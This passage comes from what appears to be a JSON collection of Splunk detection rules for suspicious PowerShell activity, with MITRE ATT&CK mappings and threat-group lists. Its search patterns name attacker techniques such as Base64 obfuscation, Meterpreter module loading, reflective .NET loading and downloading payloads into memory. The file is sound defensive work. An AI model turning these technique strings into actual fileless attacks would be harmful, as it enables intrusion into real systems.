"Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Powershell Fileless Script Contains Base64 Encoded Content", - "description": "The following analytic detects the execution of PowerShell scripts containing Base64 encoded content, specifically identifying the use of `FromBase64String`. It leverages PowerShell Script Block Logging (EventCode=4104) to capture and analyze the full command sent to PowerShell. This activity is significant as Base64 encoding is often used by attackers to obfuscate malicious payloads, making it harder to detect. If confirmed malicious, this could lead to code execution, allowing attackers to run arbitrary commands and potentially compromise the system.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*frombase64string*\" OR ScriptBlockText = \"*gnirtS46esaBmorF*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest |rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_fileless_script_contains_base64_encoded_content_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "Data Destruction", - "Hermetic Wiper", - "IcedID", - "Malicious PowerShell", - "NjRAT", - "Winter Vivern" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious powershell script contains base64 command on host $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1027", - "mitre_attack_technique": "Obfuscated Files or Information", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT3", - "APT37", - "APT41", - "BackdoorDiplomacy", - "BlackOasis", - "Earth Lusca", - "Ember Bear", - "GALLIUM", - "Gallmaker", - "Gamaredon Group", - "Ke3chang", - "Kimsuky", - "Mustang Panda", - "Rocke", - "Sandworm Team", - "Windshift" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Powershell Load Module in Meterpreter", - "description": "The following analytic detects the execution of suspicious PowerShell commands associated with Meterpreter modules, such as \"MSF.Powershell\" and \"MSF.Powershell.Meterpreter\". It leverages PowerShell Script Block Logging (EventCode=4104) to capture and analyze the full command sent to PowerShell. This activity is significant as it indicates potential post-exploitation actions, including credential dumping and persistence mechanisms. If confirmed malicious, an attacker could gain extensive control over the compromised system, escalate privileges, and maintain long-term access, posing a severe threat to the environment.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (\"*MSF.Powershell*\",\"*MSF.Powershell.Meterpreter*\",\"*MSF.Powershell.Meterpreter.Kiwi*\",\"*MSF.Powershell.Meterpreter.Transport*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_load_module_in_meterpreter_filter`", - "tags": { - "analytic_story": [ - "MetaSploit" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user_id", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "PowerShell was identified running a script utilized by Meterpreter from MetaSploit on endpoint $Computer$ by user $user_id$.", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "PowerShell Loading DotNET into Memory via Reflection", - "description": "The following analytic detects the use of PowerShell to load .NET assemblies into memory via reflection, a technique often used in malicious activities such as those by Empire and Cobalt Strike. It leverages PowerShell Script Block Logging (EventCode=4104) to capture and analyze the full command executed. This behavior is significant as it can indicate advanced attack techniques aiming to execute code in memory, bypassing traditional defenses. If confirmed malicious, this activity could lead to unauthorized code execution, privilege escalation, and persistent access within the environment.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (\"*[system.reflection.assembly]::load(*\",\"*[reflection.assembly]*\", \"*reflection.assembly*\") | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_loading_dotnet_into_memory_via_reflection_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "AsyncRAT", - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell", - "Winter Vivern" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "UserID", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious powershell script contains reflective class assembly command in $ScriptBlockText$ to load .net code in memory with EventCode $EventCode$ in host $Computer$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Powershell Processing Stream Of Data", - "description": "The following analytic detects suspicious PowerShell script execution involving compressed stream data processing, identified via EventCode 4104. It leverages PowerShell Script Block Logging to flag scripts using `IO.Compression`, `IO.StreamReader`, or decompression methods. This activity is significant as it often indicates obfuscated PowerShell or embedded .NET/binary execution, which are common tactics for evading detection. If confirmed malicious, this behavior could allow attackers to execute hidden code, escalate privileges, or maintain persistence within the environment.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*IO.Compression.*\" OR ScriptBlockText = \"*IO.StreamReader*\" OR ScriptBlockText = \"*]::Decompress*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_processing_stream_of_data_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "Data Destruction", - "Hermetic Wiper", - "IcedID", - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "UserID", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious powershell script contains stream command in $ScriptBlockText$ commonly for processing compressed or to decompressed binary file with EventCode $EventCode$ in host $Computer$", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "PowerShell Script Block With URL Chain", - "description": "The following analytic identifies suspicious PowerShell script execution via EventCode 4104 that contains multiple URLs within a function or array. It leverages PowerShell operational logs to detect script blocks with embedded URLs, often indicative of obfuscated scripts or those attempting to download secondary payloads. This activity is significant as it may signal an attempt to execute malicious code or download additional malware. If confirmed malicious, this could lead to code execution, further system compromise, or data exfiltration. Review parallel processes and the full script block for additional context and related artifacts.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (\"*http:*\",\"*https:*\") | regex ScriptBlockText=\"(\\\"?(https?:\\/\\/(?:www\\.)?[-a-zA-Z0-9@:%._\\+~#=]{1,256}\\.[a-zA-Z0-9()]{1,6}\\b(?:[-a-zA-Z0-9()@:%_\\+.~#?&\\/=]*))\\\"?(?:,|\\))?){2,}\" | rex max_match=20 field=ScriptBlockText \"(?https?:\\/\\/(?:www\\.)?[-a-zA-Z0-9@:%._\\+~#=]{1,256}\\.[a-zA-Z0-9()]{1,6}\\b(?:[-a-zA-Z0-9()@:%_\\+.~#?&\\/=]*))\" | eval Path = case(isnotnull(Path),Path,true(),\"unknown\") | stats count min(_time) as firstTime max(_time) as lastTime list(ScriptBlockText) as command values(Path) as file_name values(UserID) as user values(url) as url dc(url) as url_count by ActivityID, Computer, EventCode | rename Computer as dest, EventCode as signature_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_script_block_with_url_chain_filter`", - "tags": { - "analytic_story": [ - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - }, - { - "name": "url", - "type": "URL String", - "role": [ - "Attacker" - ] - } - ], - "message": "A suspicious powershell script used by $user$ on host $dest$ contains $url_count$ URLs in an array, this is commonly used for malware.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "PowerShell Start or Stop Service", - "description": "The following analytic identifies the use of PowerShell's Start-Service or Stop-Service cmdlets on an endpoint. It leverages PowerShell Script Block Logging to detect these commands. This activity is significant because attackers can manipulate services to disable or stop critical functions, causing system instability or disrupting business operations. If confirmed malicious, this behavior could allow attackers to disable security services, evade detection, or disrupt essential services, leading to potential system downtime and compromised security.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (\"*start-service*\", \"*stop-service*\") | stats count min(_time) as firstTime max(_time) as lastTime by Computer EventCode ScriptBlockText | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_start_or_stop_service_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "PowerShell was identified attempting to start or stop a service on $Computer$.", - "risk_score": 10, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Powershell Using memory As Backing Store", - "description": "The following analytic detects suspicious PowerShell script execution using memory streams as a backing store, identified via EventCode 4104. It leverages PowerShell Script Block Logging to capture scripts that create new objects with memory streams, often used to decompress and execute payloads in memory. This activity is significant as it indicates potential in-memory execution of malicious code, bypassing traditional file-based detection. If confirmed malicious, this technique could allow attackers to execute arbitrary code, maintain persistence, or escalate privileges without leaving a trace on the disk.", - "search": "`powershell` EventCode=4104 ScriptBlockText = *New-Object* ScriptBlockText = *IO.MemoryStream* | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_using_memory_as_backing_store_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "IcedID", - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell script contains memorystream command on host $dest$.", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "PowerShell WebRequest Using Memory Stream", - "description": "The following analytic detects the use of .NET classes in PowerShell to download a URL payload directly into memory, a common fileless malware staging technique. It leverages PowerShell Script Block Logging (EventCode=4104) to identify suspicious PowerShell commands involving `system.net.webclient`, `system.net.webrequest`, and `IO.MemoryStream`. This activity is significant as it indicates potential fileless malware execution, which is harder to detect and can bypass traditional file-based defenses. If confirmed malicious, this technique could allow attackers to execute code in memory, evade detection, and maintain persistence in the environment.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (\"*system.net.webclient*\",\"*system.net.webrequest*\") AND ScriptBlockText=\"*IO.MemoryStream*\" | eval Path = case(isnotnull(Path),Path,true(),\"unknown\") | stats count min(_time) as firstTime max(_time) as lastTime list(ScriptBlockText) as command values(Path) as file_name values(UserID) as user by ActivityID, Computer, EventCode | rename Computer as dest, EventCode as signature_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_webrequest_using_memory_stream_filter`", - "tags": { - "analytic_story": [ - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Powershell webrequest to memory stream behavior. Possible fileless malware staging on $dest$ by $user$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1027.011", - "mitre_attack_technique": "Fileless Storage", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "Turla" - ] - } - ] - } - }, - { - "name": "Recon Using WMI Class", - "description": "The following analytic detects suspicious PowerShell activity via EventCode 4104, where WMI performs event queries to gather information on running processes or services. This detection leverages PowerShell Script Block Logging to identify specific WMI queries targeting system information classes like Win32_Bios and Win32_OperatingSystem. This activity is significant as it often indicates reconnaissance efforts by an adversary to profile the compromised machine. If confirmed malicious, the attacker could gain detailed system information, aiding in further exploitation or lateral movement within the network.", - "search": "`powershell` EventCode=4104 (ScriptBlockText= \"*SELECT*\" OR ScriptBlockText= \"*Get-WmiObject*\") AND (ScriptBlockText= \"*Win32_Bios*\" OR ScriptBlockText= \"*Win32_OperatingSystem*\" OR ScriptBlockText= \"*Win32_Processor*\" OR ScriptBlockText= \"*Win32_ComputerSystem*\" OR ScriptBlockText= 